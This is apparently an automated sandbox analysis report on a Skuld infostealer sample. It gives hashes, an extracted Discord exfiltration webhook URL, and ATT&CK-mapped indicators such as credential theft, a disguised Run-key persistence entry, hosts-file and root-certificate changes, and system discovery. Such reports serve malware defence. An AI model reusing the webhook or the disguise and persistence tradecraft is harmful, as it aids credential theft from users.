skuld | 03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272

Analysis

max time kernel
150s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04-09-2024 01:01

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General

Target

03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
Size

14.2MB
MD5

59a08bb8bf4881e814fd3d36f525da8a
SHA1

3f542be6b20daef732a4c4bee9bad1dde8b375f0
SHA256

03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272
SHA512

dfc2c2a0c743918642943d296c3b26367d80ce49d3c0ee099c27398ed134a965203014b1b0346e41d882531f8d0bdb878cc38ee1c2420844bd9cfd70677e002a
SSDEEP

196608:oWJafoL/tUoTX4Z8bh1Yf0k7Ma/rkFlgdTaUrPPbdfw:oWsfm/Vbh1lkSFCdTauZo

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://ptb.discord.com/api/webhooks/1277694857338687561/FxXidvF_Xcdm1mFBnfMwjGWhByymrClV-px0CZhfTr9YtQWuA8etVIU6_PpLcbsJWD9d

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1332	powershell.exe
1912	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
2	api.ipify.org
7	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3984	netsh.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1860	wmic.exe
4176	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	11	Go-http-client/1.1

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
1912	powershell.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
1912	powershell.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
1332	powershell.exe
1332	powershell.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
Token: SeIncreaseQuotaPrivilege	3164	wmic.exe
Token: SeSecurityPrivilege	3164	wmic.exe
Token: SeTakeOwnershipPrivilege	3164	wmic.exe
Token: SeLoadDriverPrivilege	3164	wmic.exe
Token: SeSystemProfilePrivilege	3164	wmic.exe
Token: SeSystemtimePrivilege	3164	wmic.exe
Token: SeProfSingleProcessPrivilege	3164	wmic.exe
Token: SeIncBasePriorityPrivilege	3164	wmic.exe
Token: SeCreatePagefilePrivilege	3164	wmic.exe
Token: SeBackupPrivilege	3164	wmic.exe
Token: SeRestorePrivilege	3164	wmic.exe
Token: SeShutdownPrivilege	3164	wmic.exe
Token: SeDebugPrivilege	3164	wmic.exe
Token: SeSystemEnvironmentPrivilege	3164	wmic.exe
Token: SeRemoteShutdownPrivilege	3164	wmic.exe
Token: SeUndockPrivilege	3164	wmic.exe
Token: SeManageVolumePrivilege	3164	wmic.exe
Token: 33	3164	wmic.exe
Token: 34	3164	wmic.exe
Token: 35	3164	wmic.exe
Token: 36	3164	wmic.exe
Token: SeIncreaseQuotaPrivilege	3164	wmic.exe
Token: SeSecurityPrivilege	3164	wmic.exe
Token: SeTakeOwnershipPrivilege	3164	wmic.exe
Token: SeLoadDriverPrivilege	3164	wmic.exe
Token: SeSystemProfilePrivilege	3164	wmic.exe
Token: SeSystemtimePrivilege	3164	wmic.exe
Token: SeProfSingleProcessPrivilege	3164	wmic.exe
Token: SeIncBasePriorityPrivilege	3164	wmic.exe
Token: SeCreatePagefilePrivilege	3164	wmic.exe
Token: SeBackupPrivilege	3164	wmic.exe
Token: SeRestorePrivilege	3164	wmic.exe
Token: SeShutdownPrivilege	3164	wmic.exe
Token: SeDebugPrivilege	3164	wmic.exe
Token: SeSystemEnvironmentPrivilege	3164	wmic.exe
Token: SeRemoteShutdownPrivilege	3164	wmic.exe
Token: SeUndockPrivilege	3164	wmic.exe
Token: SeManageVolumePrivilege	3164	wmic.exe
Token: 33	3164	wmic.exe
Token: 34	3164	wmic.exe
Token: 35	3164	wmic.exe
Token: 36	3164	wmic.exe
Token: SeIncreaseQuotaPrivilege	1860	wmic.exe
Token: SeSecurityPrivilege	1860	wmic.exe
Token: SeTakeOwnershipPrivilege	1860	wmic.exe
Token: SeLoadDriverPrivilege	1860	wmic.exe
Token: SeSystemProfilePrivilege	1860	wmic.exe
Token: SeSystemtimePrivilege	1860	wmic.exe
Token: SeProfSingleProcessPrivilege	1860	wmic.exe
Token: SeIncBasePriorityPrivilege	1860	wmic.exe
Token: SeCreatePagefilePrivilege	1860	wmic.exe
Token: SeBackupPrivilege	1860	wmic.exe
Token: SeRestorePrivilege	1860	wmic.exe
Token: SeShutdownPrivilege	1860	wmic.exe
Token: SeDebugPrivilege	1860	wmic.exe
Token: SeSystemEnvironmentPrivilege	1860	wmic.exe
Token: SeRemoteShutdownPrivilege	1860	wmic.exe
Token: SeUndockPrivilege	1860	wmic.exe
Token: SeManageVolumePrivilege	1860	wmic.exe
Token: 33	1860	wmic.exe
Token: 34	1860	wmic.exe
Token: 35	1860	wmic.exe
Token: 36	1860	wmic.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3936 wrote to memory of 4996	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	85
PID 3936 wrote to memory of 4996	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	85
PID 3936 wrote to memory of 3660	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	86
PID 3936 wrote to memory of 3660	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	86
PID 3936 wrote to memory of 3164	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	88
PID 3936 wrote to memory of 3164	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	88
PID 3936 wrote to memory of 1860	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	91
